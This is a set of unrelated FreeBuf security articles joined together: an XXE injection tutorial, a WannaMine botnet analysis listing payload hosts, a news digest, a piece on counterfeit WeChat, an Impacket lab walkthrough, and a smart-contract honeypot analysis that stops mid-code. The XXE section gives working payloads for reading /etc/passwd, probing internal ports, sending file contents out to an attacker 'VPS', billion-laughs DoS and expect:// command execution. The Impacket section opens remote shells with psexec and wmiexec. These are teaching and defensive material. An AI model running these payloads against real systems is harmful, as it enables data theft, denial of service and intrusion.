* 本文作者:[email protected],本文属FreeBuf原创奖励计划,未经许可禁止转载

学习了XXE漏洞,自己来总结一下,如果有什么写的不到位,不够好的地方,还请师傅们指出。

0×00 XXE漏洞

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

0×01 XML

既然说到XML,就先学习一波XML。

- XML被设计为传输和存储数据,其焦点是数据的内容。

- HTML被设计用来显示数据,其焦点是数据的外观。

XML把数据从HTML分离,XML是独立于软件和硬件的信息传输工具。

基本语法:

- 所有 XML 元素都须有关闭标签。

- XML 标签对大小写敏感。

- XML 必须正确地嵌套。

- XML 文档必须有根元素。

- XML 的属性值须加引号。

- 实体引用,这里看个例子,如果你把字符 “<” 放在 XML,素中,会发生错误,这是因为解析器会把它当作新元素的开始。这样会产生XML错误:

`<message>hello < world</message>`,为了避免错误。我们用实体引用`&lt;`来代替”<”字符。XML中,有5个预定义的实体引用。
1.png- XML中的注释,在XML中编写注释的语法与 HTML 的语法很相似。

<!-- -->

- 在 XML 中,空格会被保留,多个空格不会被合并为一个。

<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title>      <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author>       <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->

0×02 DTD

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。带有DTD的XML文档实例

<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

2.png当使用外部DTD时,通过如下语法引入。

<!DOCTYPE root-element SYSTEM "filename">

外部DTD实例

<?xml version="1.0"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

test.dtd:

<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->

3.png

源码

4.png

- PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。

5.png不过,被解析的字符数据不应当包含任何&,<,或者>字符,需要用`&amp;` `&lt;` `&gt;`实体来分别替换

- CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

DTD元素

6.png

DTD属性

属性声明使用以下语法

<!ATTLIST 元素名称 属性名称 属性类型 默认值>

DTD实例

<!ATTLIST payment Hu3sky CDATA "H">

XML实例

<payment Hu3sky="H" />

以下是属性类型的选项

7.png

默认值参数可以使用下列值:

8.png

DTD-实体(重要)

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

实体引用是对实体的引用。

实体可以在内部或外部进行声明

9.png

内部实体

<!ENTITY 实体名称 "实体的值">

外部实体

<!ENTITY 实体名称 SYSTEM "URL">

参数实体

<!ENTITY %实体名称 "值">

or

<!ENTITY %实体名称 SYSTEM "URL">

内部实体例子

<?xml version="1.0"?>
<!DOCTYPE note[
<!ELEMENT note (name)>
<!ENTITY hack3r "Hu3sky">
]>
<note>
<name>&hack3r;</name>
</note>

结果

10.png参数实体+外部实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
  <!ENTITY % name SYSTEM "file:///etc/passwd">
  %name;
]>

`%name`(参数实体)是在DTD中被引用的,而`&name;`是在xml文档中被引用的。

XXE主要是利用了DTD引用外部实体导致的漏洞。

0×03 攻击思路

1. 引用外部实体远程文件读取

2. Blind XXE

3. DoS

外部实体引用,有回显

读取任意文件

例子一

这里我用bWAPP平台上的一道XXE的题目来说明

题目是这样的,我们点击这个按钮然后抓包看看11.png

12.png可以看到xxe-1.php页面以POST方式向xxe-2.php页面传输了XML数据,既然是XML数据,我们就可以自己增加一个恶意外部实体然后再原本的XML数据中进行实体调用,来进行XXE攻击,如下:

13.png可以看到,成功的读取了robots.txt中的内容,这里的hu3sky是我们定义的一个外部实体。

为了更好理解原理,我们来看一看xxe-2.php的源码。

主要代码在这。

17.png可以看到这里直接用了`simplexml_load_string()` ,simplexml_load_string() 函数的作用是把XML 字符串载入对象中。函数获取xml内容,并没有做任何过滤,$login获取login标签里的内容,最后拼接到$message显示在屏幕上 18.png

例子二

jarvisoj上的一道题目API调用

这道题的题目说明是 请设法获得目标机器/home/ctf/flag.txt中的flag值。

进入题目 http://web.jarvisoj.com:9882/ 发现一个输入框,我们对其进行抓包3.png发现了json数据,修改发现可以被解析

4.png。一开始没有思路,后来看了wp,发现是要把json处改为xml。所以就知道了,这题是xxe。修改json处,构造一个xml表单进行xml注入,得到flag。5.png

检测内网端口

有回显时,直接发送payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&XXE;</name>
</root>

当我们检测80端口时,80端口开放,这时会返回页面报错信息(记得url编码。因为页面会解码一次),如下:

15.png 当我们检测3389端口,3389端口未开放,端口未开放时返回情况如下:

16.pngBlind XXE

如果服务器没有回显,只能使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。

所以,在没有回显的情况下如何来利用XXE

14.png

思路:

1. 客户端发送payload 1给web服务器

2. web服务器向vps获取恶意DTD,并执行文件读取payload2

3. web服务器带着回显结果访问VPS上特定的FTP或者HTTP

4. 通过VPS获得回显(nc监听端口)

本地客户端(payload 1 )

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/test.xml"> %remote;]>

由于web端会解码,所以需要我们先html实体编码一次

payload 2 也就是test.xml的内容(VPS)

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://VPS:21/%payload;'>">
%int;
%trick;

这个是先将SYSTEM的file协议读取到的内容赋值给参数实体%payload,第二步是一个实体嵌套,trick是远程访问ftp协议所携带的内容

DOS

<?xml version="1.0"?>
   <!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

这个的原理就是递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。

命令执行

php环境下,xml命令执行需要php装有expect扩展,但是该扩展默认没有安装,所以一般来说,比较难利用,这里就只给出代码了

<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
  <!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

0×04 防御XXE

使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

#过滤用户提交的XML数据

过滤关键字:<\!DOCTYPE和<\!ENTITY,或者SYSTEM和PUBLIC。

不允许XML中含有自己定义的DTD

* 本文作者:[email protected],本文属FreeBuf原创奖励计划,未经许可禁止转载

WannaMine是个“无文件”僵尸网络,在入侵过程中无任何文件落地,仅仅依靠WMI类属性存储ShellCode,并通过“永恒之蓝”漏洞攻击武器以及“Mimikatz+WMIExec”攻击组件进行横向渗透。相比较其他挖矿僵尸网络,WannaMine使用更为高级的攻击手段,这也是WannaMine能够存活至今的原因之一。WannaMine最早出现在公众视野是2017年底,在对WannaMine的持续跟踪中360分析人员发现,WannaMine可能已经开始为其他黑客组织提供武器。

图1 WannaMine攻击简图

自WannaMine出现到2018年3月的这段时间中,WannaMine较为沉寂,仅仅更换了几次载荷托管地址。2018年3月起,WannaMine开始攻击搭建于Windows操作系统上的Web服务端,包括Weblogic、PHPMyAdmin、Drupal。图2展示了WannaMine在2018年2月到4月载荷托管地址以及攻击目标的变化。

图2 WannaMine在2018年2月至4月载荷托管地址与攻击目标的变化

由于3月份的这次更新使WannaMine增加了攻击目标,其控制的僵尸机数量也随之大幅度增加。僵尸网络规模的扩大使僵尸网络控制者急于将利益最大化,果不其然,WannaMine在6月份的更新之后出现了为其他黑客组织工作的迹象,这可以从一个表格体现出来。表1展示了WannaMine自2018年2月以来的载荷托管ip地址以及当时解析到该ip地址的域名(表格按时间先后从上往下排列)。

表1

载荷托管ip地址 使用时解析到该ip地址的域名
195.22.127.157 node3.jhshxbv.com、node.jhshxbv.com、 node4.jhshxbv.com、node2.jhshxbv.com
107.179.67.243 stafftest.spdns.eu、profetestruec.net
45.63.55.15 未知
94.102.52.36 nuki-dx.com
123.59.68.172 ddd.parkmap.org、yp.parkmap.org
93.174.93.73 demaxiya.info、fashionbookmark.com
121.17.28.15 未知
195.22.127.93 www.windowsdefenderhost.club
198.54.117.244 update.windowsdefenderhost.club
107.148.195.71 d4uk.7h4uk.com
185.128.40.102 d4uk.7h4uk.com、update.7h4uk.com、 info.7h4uk.com
185.128.43.62 d4uk.7h4uk.com、update.7h4uk.com、 info.7h4uk.com
192.74.245.97 d4uk.7h4uk.com
87.121.98.215 未知
172.247.116.8 未知

从表格中不难看出,早期WannaMine所使用的载荷托管ip地址经常改变,并且通过域名反查得到的域名都是不同的,这表明WannaMine可能使用僵尸网络中的某一台僵尸机用于托管载荷,每次进行更新后,WannaMine就更换一台托管载荷的僵尸机。自107.148.195.71这个ip地址之后,WannaMine使用的连续4个载荷托管地址都是域名d4uk.7h4uk.com所解析到的地址,这种情况在之前是不存在的。而这个时间正是6月份WannaMine进行更新的时间节点,这在360安全卫士每周安全形势总结(  http://www.360.cn/newslist/zxzx/bzaqxszj.html)中提到过。在这次更新中,WannaMine利用Weblogic反序列化漏洞攻击服务器后植入挖矿木马和DDos木马。值得一提的是,这次WannaMine还使用了刚刚面世不久的Wmic攻击来bypass UAC和躲避杀毒软件的查杀。

图3 WannaMine 6月份发动的攻击流程

在WannaMine的这次更新中存在了多个疑点,这些疑点暗示此时的WannaMine控制者可能与之前的明显不同:

1.WannaMine在3月份到4月份已经发起大规模针对Weblogic服务端的攻击,僵尸网络已经控制了许多Weblogic服务端,为何在6月份的更新之后还要对Weblogic服务端发起攻击。

2.为何自6月份以来WannaMine的载荷托管域名都是d4uk.7h4uk.com。

通过对域名d4uk.7h4uk.com的跟踪可以发现,该域名在2018年4月中旬开始被一个黑客组织使用,这要远早于WannaMine对该域名的使用,而该黑客组织在攻击手法以及目的上也与WannaMine大相径庭。该黑客组织通过Weblogic反序列化漏洞CVE-2018-2628入侵服务器,往服务器中植入DDos木马。DDos木马的载荷托管地址为hxxp://d4uk.7h4uk.com/w_download.exe,这与WannaMine释放的DDos木马的托管地址吻合。

图4 该黑客组织使用的攻击代码

虽然载荷托管地址与之后WannaMine使用的载荷托管地址相同,但是4月中旬的攻击中所有攻击文件都是落地的并且没有WannaMine代码的痕迹,其借助sct文件实现持续驻留的方式也和WannaMine借助WMI实现持续驻留的方式有所不同。可以断定,这来自于与WannaMine不同的另一个黑客组织。

另外,从WannaMine 6月份更新后的代码特征也不难发现,其代码进行了略微修改,加入了RunDDOS、KillBot等多个函数,这些函数被插入了之前多个版本中都未被修改过的fun模块(fun模块用于进行横向渗透),并且与fun模块的原始功能非常不搭,此外 RunDDOS中将DDos木马直接释放到磁盘中,这也与WannaMine风格不符。可以推断,这次代码的改动可能是为其他黑客组织提供一个定制化的攻击组件。

图5 RunDDos函数内容

通过上述分析,可以总结出WannaMine6月份更新之后的两个特点:1.使用一个其他黑客组织1个多月前使用过的载荷,并且此次更新使用的载荷托管地址和载荷文件都与该黑客组织有关;2.更新后加入的代码位置、代码内容与之前的风格不符,有临时定制化的可能。通过这两个特点可以推断,WannaMine已经开始为其他黑客组织提供武器

结语

让控制的僵尸网络实现更多的利益产出是每个黑客组织期望的结果,WannaMine的目的也是如此。高级僵尸网络商业化对于防御者而言是一种挑战,因为防御者将会遇到越来越多使用其高超技术的黑客组织。WannaMine的高超之处,在于其隐蔽而又有效的横向渗透技术,这将是防御者在对抗WannaMine乃至使用WannaMine的黑客组织需要重视的地方。

*本文作者:360安全卫士,转载请注明来自FreeBuf.COM

各位  Buffer 早上好,今天是 2018 年 6 月 29 日星期五,农历五月十六。今天份的 BUF 早餐内容主要有:老人机自带“李鬼”微信,竟是黑客为厂家定制;两名黑客因劫持700,000个账号被捕;博彩网站BetVictor被曝密码泄露;Bithumb被盗或因驻外员工电脑被黑客攻击;美国大数据公司失误泄露2TB隐私信息:涉2.3亿人。

egg-3492194_960_720.jpg老人机自带“李鬼”微信,竟是黑客为厂家定制

有些老人机自带的微信软件居然是没有得到授权的“李鬼”版微信。近日江苏常州检方依法批准逮捕了一起“李鬼”微信案件的犯罪嫌疑人。今年初,市民陈女士发现自己手机里的“微信”隔三岔五冒出一些二手车和海外代购的小广告。微信官方客服表示,他们接到全国不少用户的类似反馈,经核实,这些广告并非微信官方推送,也就是说,陈女士手机上的“微信”并非正版,软件的加密网络传输协议被人破解。[来源:新华网]

美国大数据公司失误泄露2TB隐私信息:涉2.3亿人

据Wired报道,本月初曝光的市场和数据汇总公司Exactis服务器信息暴露的事情经调查为实。Exactis采集了大约3.4亿条记录,大小2TB,可能涵盖2.3亿人,几乎是全美的上网人口。Exactis此次的信息泄露并不是黑客撞库引起或者其它恶意攻击,而是他们自己的服务器没有防火墙加密,直接暴露在公共的数据库查找范围内。[来源:cnBeta]

两名黑客因劫持700,000个账号被捕

俄罗斯警方逮捕了两名青少年黑客,他们涉嫌非法入侵俄罗斯的网上商店,支付系统和博彩门户网站,劫持并出售超过700,000个在线帐户。俄罗斯网络安全公司Group-IB协助当局进行调查。该公司发言人说,在2015年11月首次发现这两名黑客,当时他们在俄罗斯的一家大型网上商店进行了大规模的字典式攻击并损害了超过120,000个帐户。[来源:BleepingComputer]

博彩网站BetVictor被曝密码泄露

一个知名博彩平台BetVictor在其网站上留下了一个内部系统密码列表,供任何人查找。其中包括后台办公系统的链接列表、用户名和密码。ChrisHogben通过公司主页上的客户支持搜索框找到了这份文档。安全人员表示,一旦这些凭据被恶意人员利用,就可以轻松登陆内部系统,查看到更多敏感数据,目前该公司已经删除了这份文件。[来源:ZDNet]

Bithumb被盗或因驻外员工电脑被黑客攻击

据报道,韩国大型虚拟货币交易所Bithumb在调查被黑客攻击的原因时发现,其驻外员工的电脑被黑客攻击。该员工将被黑客攻击的电脑连接到Bithumb内部的DRM(数字版权管理)服务器。导致黑客将恶性代码植入到驻外员工电脑后直接攻击DRM服务器。[来源:Bianews]

*本文由Andy.i整理编译,转载请注明来自FreeBuf.COM

随着电话、短信功能被弱化,微信已经成为大多数人主要沟通方式之一。为了方便跟子女联系,越来越多的中老年群体也表现出了对微信的刚需。没想到却让黑客钻了空子,大量老人机被曝安装黑客破解版微信,频繁推送骚扰广告。09dcf26aadbe44ada5905c7353a0f96c.jpeg

近日,江苏常州检方依法批准逮捕了一起“李鬼”微信案件的犯罪嫌疑人,利用技术手段对微信进行逆向破解,做出功能机专用的微信软件。这种非法破解版的山寨微信已经在大量功能机上安装。除了推送广告等骚扰手段之外,也造成了较大的隐私、财产安全隐患。

老人机群体对微信的需求让黑客钻了空子

尤其是上了年纪的用户,对于新兴互联网产品的认知有限,辨识力和安全意识不足,为了与家人联系方便才开始接触微信,这让原本的功能机逐渐满足不了人们对“老人机”的需求,这也让黑客有了可乘之机。

微信截图_20180628162550.png在淘宝上搜索“老人机”、“微信”等关键词,微信功能已经成为老人机的卖点之一,好比指纹识别功能对于如今的智能手机一般重要。考虑到老人机群体可能并不知道如何下载安装软件,因此这一类老人机基本都出厂自带微信。虽然登陆、使用过程中看起来没有什么区别,但确实不容易区分究竟是不是山寨版微信。

使用第三方微信、盗版微信客户端可能会被限制登陆

微信官方客服透露,已经接收到全国不少微信用户对异常推送广告的投诉,初步判断均来自于非正版微信客户端。腾讯公司安全部门介绍,“李鬼”软件具备和微信相同的聊天、语音等通讯功能,破坏了微信的安全认证与通讯控制机制,微信用户的资金安全也存在风险。

timg (1).jpg

近期,微信官方加大了打击第三方微信以及插件的力度,不少用户微信账号被限制登陆,提示信息为“该微信账号使用了微信外挂、非官方客户端或者模拟器”。除了微信多开类应用之外,在已经ROOT或者安装Xposed软件的安卓手机上使用微信也都可能会被限制登陆。考虑到安全性问题,建议大家还是在官方渠道下载微信使用,尽量避免对安卓手机进行ROOT。

大家对老人机是不是有什么误解……

最后,我还啰嗦一句:大家对老人机是不是有什么误解……

timg.jpg

父母一辈可能对新兴事物的接受能力并没有那么弱,谁说的老人机都得是大键盘、大字体的功能机。“哪里不会点哪里”的全触屏智能手机显然更适合中老年人使用,更何况越来越多的智能手机增加了老人模式,对眼睛不是很好的用户更加友好。笔者窃以为,iPhone才是最合适的老人机(好吧,不包括iPhone X),一旦不知道怎么返回直接按Home键就行,毕竟正面只有这一个按键了。而且目前的智能手机,在安全性上比那些不知名厂商生产的所谓老人机要强太多。

*本文作者:Andy.i,转载请注明来自FreeBuf.COM

Impacket是一个Python类库,用于对SMB1-3或IPv4 / IPv6 上的TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP等协议进行低级编程访问。 

在本文的实验场景中,我们需要准备以下两个系统:

1.配置域控的Windows服务器;

2. Kali Linux

系统相关设置如下:

Windows Server

域: SERVER

用户: Administrator

密码: T00r

IP地址: 192.168.1.140

Kali Linux: 192.168.1.135

在正式开始使用Impacket工具之前,让我们先对目标Windows服务器执行Nmap版本扫描,以获取当前Windows Server上运行的有关服务信息。

nmap -sV 192.168.1.140

impacket网络协议工具包介绍

正如你在上面的截图中看到的,目标系统当前运行的服务有域服务,Kerberos服务,Netbios服务,LDAP服务和Windows RPC服务。

现在让我们从GitHub安装Impacket工具。你可以在这里获取到。

首先,我们通过git clone命令克隆存储库,然后按以下截图所示安装Impacket。

git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python setup.py install

impacket网络协议工具包介绍

这将在你的Kali Linux上安装Impacket。安装完成后,我们来查看下Impacket中都有哪些工具。

cd impacket/examples

impacket网络协议工具包介绍

可以看到其中包含了许多的python脚本工具,让我们来尝试使用其中的一些工具:

Ping.py

一个简单的ICMP ping脚本,使用ICMP echo和echo-reply数据包检查主机状态。

./ping.py

impacket网络协议工具包介绍

语法: ./ping.py [Source IP] [Destination IP]

./ping.py 192.168.1.135 192.168.1.140

以下是我从192.168.1.140(Windows Server)获得的ICMP响应

impacket网络协议工具包介绍

Lookupsid.py

通过[MS-LSAT] MSRPC接口的Windows SID bruteforcer示例,旨在查找远程用户/组。

./lookupsid.py

impacket网络协议工具包介绍

语法: ./lookupsid.py [[domain/] username [: password] @] [Target IP Address]

./lookupsid.py SERVER/Administrator: [email protected]

如下所示,lookupsid.py已成功为我提取到了目标服务器的用户和组信息

impacket网络协议工具包介绍

Psexec.py

Psexec.py允许你在远程Windows系统上执行进程,复制文件,并返回处理输出结果。此外,它还允许你直接使用完整的交互式控制台执行远程shell命令(不需要安装任何客户端软件)。

./psexec.py

impacket网络协议工具包介绍

语法: ./psexec.py [[domain/] username [: password] @] [Target IP Address]

./psexec.py SERVER/Administrator: [email protected]

如下所示,我获取到了目标服务器的远程shell

impacket网络协议工具包介绍

Rpcdump.py

该脚本将转储在目标上注册的RPC端点和字符串bindings列表。它也会尝试将它们与一些知名的端点进行匹配。

./rpcdump.py

impacket网络协议工具包介绍

语法: ./rpcdump.py [[domain/] username [: password] @] [Target IP Address]

./rpcdump.py SERVER/Administrator: [email protected]

如下所示,我成功获取到了目标RPC列表

impacket网络协议工具包介绍

Samrdump.py

与MSRPC套件中的安全帐户管理器远程接口通信的应用程序。它将为我们列出目标系统上的用户帐户,可用资源共享以及通过此服务导出的其他敏感信息

./samrdump.py

impacket网络协议工具包介绍

语法: ./samrdump.py [[domain/] username [: password] @] [Target IP Address]

./samrdump.py SERVER/Administrator: [email protected]

如下所示,我从目标服务器提取了SAM信息

impacket网络协议工具包介绍

Sniff.py

一个简单的数据包嗅探脚本。使用pcapy库来侦听通过指定接口传输的数据包

. /sniff.py

选择正确的网卡,并开始嗅探

impacket网络协议工具包介绍

Sniffer.py

一个简单的数据包嗅探脚本,使用原始套接字来侦听与指定协议相对应的传输数据包。

. /sniffer.py

 sniffer开始监听icmp, tcp和udp数据包

impacket网络协议工具包介绍

Wmiexec.py

它会生成一个使用Windows Management Instrumentation的半交互式shell,并以管理员身份运行。你不需要在目标服务器上安装任何的服务/代理,因此它非常的隐蔽。

./wmiexec.py

impacket网络协议工具包介绍

语法: ./wmiexec.py [[domain/] username [: password] @] [Target IP Address]

./wmiexec.py SERVER/Administrator: [email protected]

如下所示,我获取到了目标服务器的shell

impacket网络协议工具包介绍

Wmiquery.py

它允许发出WQL查询并获取目标系统WMI对象的描述信息。

./wmiquery.py

impacket网络协议工具包介绍

语法: ./wmiquery.py [[domain/] username [: password] @] [Target IP Address]

./wmiquery.py SERVER/Administrator: [email protected]

这将打开一个shell,你可以在其中执行WQL查询

SELECT * FROM Win32_LogicalDisk WHERE FreeSpace < 209152

impacket网络协议工具包介绍

Atexec.py

通过Task Scheduler服务在目标系统上执行命令,并返回输出结果。

./atexec.py

impacket网络协议工具包介绍

语法: /atexec.py [[domain/] username [: password] @] [Target IP Address] [Command]

./atexec.py SERVER/Administrator: [email protected] systeminfo

如下所示,我与目标服务器建立了远程连接,并执行了systeminfo命令,输出结果显示在了我的Kali终端上。

impacket网络协议工具包介绍

getArch.py

该脚本将连接目标(或目标列表上的)计算机,并使用已记录的MSRPC特征收集由(ab)安装的操作系统架构类型。

./getArch.py

impacket网络协议工具包介绍

语法: ./getArch.py -target [IP Address]

命令: ./getArch.py -target 192.168.1.140

所下所示,目标系统架构为64-bit

impacket网络协议工具包介绍

Ifmap

该脚本将绑定到目标的MGMT接口,以获取接口ID列表。它将在另一个接口UUID列表的顶部使用该列表,并报告该接口是否被列出和/或处于侦听状态。

impacket网络协议工具包介绍

语法: ./ifmap.py [Host IP Address] [Port]

./ifmap.py 192.168.1.140 135
./ifmap.py 192.168.1.140 49154

impacket网络协议工具包介绍

 *参考来源:hackingarticlesFB小编 secist 编译,转载请注明来自FreeBuf.COM

0×00 前言

在学习区块链相关知识的过程中,拜读过一篇很好的文章《The phenomenon of smart contract honeypots》,作者详细分析了他遇到的三种蜜罐智能合约,并将相关智能合约整理收集到Github项目smart-contract-honeypots

本文将对文中和评论中提到的 smart-contract-honeypots 和 Solidlity-Vulnerable 项目中的各蜜罐智能合约进行分析,根据分析结果将蜜罐智能合约的欺骗手段分为以下四个方面:

古老的欺骗手段

神奇的逻辑漏洞

新颖的赌博游戏

黑客的漏洞利用

基于已知的欺骗手段,我们通过内部的以太坊智能合约审计系统一共寻找到 118 个蜜罐智能合约地址,一共骗取了 34.7152916 个以太币(2018/06/26 价值 102946 元人民币),详情请移步文末附录部分。

0×01 古老的欺骗手段

对于该类蜜罐合约来说,仅仅使用最原始的欺骗手法。 这种手法是拙劣的,但也有着一定的诱导性。

1.1 超长空格的欺骗:WhaleGiveaway1

Github地址:smart-contract-honeypots/WhaleGiveaway1.sol

智能合约地址:0x7a4349a749e59a5736efb7826ee3496a2dfd5489

在 github 上看到的合约代码如下:

1.png

细读代码会发现 GetFreebie() 的条件很容易被满足:

if(msg.value>1 ether)
{
    msg.sender.transfer(this.balance);
}

只要转账金额大于 1 ether,就可以取走该智能合约里所有的以太币。

但事实绝非如此,让我们做出错误判断的原因在于 github 在显示超长行时不会自动换行。下图是设置了自动换行的本地编辑器截图:

2.png

图中第 21 行和第 29 行就是蜜罐作者通过 超长空格 隐藏起来的代码。所以实际的 脆弱点 是这样的:

if(msg.value>1 ether)
{ 
    Owner.transfer(this.balance);
    msg.sender.transfer(this.balance);
}       

先将账户余额转给合约的创立者,然后再将剩余的账户余额(也就是0)转给转账的用户(受害者)

与之类似的智能合约还有 TestToken,留待有兴趣的读者继续分析:

Github地址:smart-contract-honeypots/TestToken.sol

0×02 神奇的逻辑漏洞

该类蜜罐合约用 2012年春晚小品《天网恢恢》中这么一段来表现最为合适:

送餐员: 外卖一共30元 骗子B: 没零的,100! 送餐员: 行,我找你……70!(送餐员掏出70给骗子B) 骗子A: 哎,等会儿等会儿,我这有零的,30是吧,把那100给我吧!给,30!(骗子A拿走了B给送餐员的100元,又给了送餐员30元) 送餐员: 30元正好,再见!

该类漏洞也是如此,在看起来正常的逻辑下,总藏着这样那样的陷阱。

2.1 天上掉下的馅饼:Gift_1_ETH

Github地址:smart-contract-honeypots/Gift_1_ETH.sol

智能合约地址:0xd8993F49F372BB014fB088eaBec95cfDC795CBF6

合约关键代码如下:

contract Gift_1_ETH
{
    bool passHasBeenSet = false;
    bytes32 public hashPass;
    function SetPass(bytes32 hash)
    payable
    {
        if(!passHasBeenSet&&(msg.value >= 1 ether))
        {
            hashPass = hash;
        }
    }
    function GetGift(bytes pass) returns (bytes32)
    {
        if( hashPass == sha3(pass))
        {
            msg.sender.transfer(this.balance);
        }
        return sha3(pass);
    }
    function PassHasBeenSet(bytes32 hash)
    {
        if(hash==hashPass)
        {
           passHasBeenSet=true;
        }
    }
}

整个智能合约的逻辑很简单,三个关键函数功能如下:

SetPass(): 在转账大于 1 ether 并且 passHasBeenSet 为 false (默认值就是false),就可以设置密码 hashPass。

GetGift(): 在输入的密码加密后与 hashPass 相等的情况下,就可以取走合约里所有的以太币。

PassHasBeenSet():如果输入的 hash 与 hashPass 相等,则 passHasBeenSet 将会被设置成 true。

如果我们想取走合约里所有的以太币,只需要按照如下流程进行操作:

3.png

推特用户 Alexey Pertsev 还为此写了一个获取礼物的 EXP

但实际场景中,受害者转入一个以太币后并没有获取到整个智能合约的余额,这是为什么呢?

4.png这是因为在合约创立之后,任何人都可以对合约进行操作,包括合约的创建者:

5.png合约创建者在合约 被攻击 前,设置一个只有创建者知道的密码并将 passHasBeenSet 置为 True,将只有合约创建者可以取出智能合约中的以太币。

与之类似的智能合约还有 NEW_YEARS_GIFT:

Github地址:Solidlity-Vulnerable/honeypots/NEW_YEARS_GIFT.sol

智能合约地址:0x13c547Ff0888A0A876E6F1304eaeFE9E6E06FC4B

2.2 合约永远比你有钱:MultiplicatorX3

Github地址:smart-contract-honeypots/MultiplicatorX3.sol smart-contract-honeypots/Multiplicator.sol

智能合约地址:0x5aA88d2901C68fdA244f1D0584400368d2C8e739

合约关键代码如下:

function multiplicate(address adr)
    public
    payable
    {
        if(msg.value>=this.balance)
        {        
            adr.transfer(this.balance+msg.value);
        }
    }

对于 multiplicate() 而言,只要你转账的金额大于账户余额,就可以把 账户余额 和 你本次转账的金额 都转给一个可控的地址。

在这里我们需要知道:在调用 multiplicate() 时,账户余额 = 之前的账户余额 + 本次转账的金额。所以 msg.value >= this.balance 只有在原余额为0,转账数量为0的时候才会成立。也就意味着,账户余额永远不会比转账金额小。

与之类似的智能合约还有 PINCODE:

Github地址:Solidlity-Vulnerable/honeypots/PINCODE.sol

智能合约地址:0x35c3034556b81132e682db2f879e6f30721b847c

2.3 谁是合约主人:TestBank

Github地址:smart-contract-honeypots/TestBank.sol

智能合约地址:0x70C01853e4430cae353c9a7AE232a6a95f6CaFd9

合约关键代码如下:

 contract Owned {
     address public owner;
     function Owned() { owner = msg.sender; }
     modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
 }
 contract TestBank is Owned {
     address public owner = msg.sender;
     uint256 ecode;
     uint256 evalue;
     function useEmergencyCode(uint256 code) public payable {
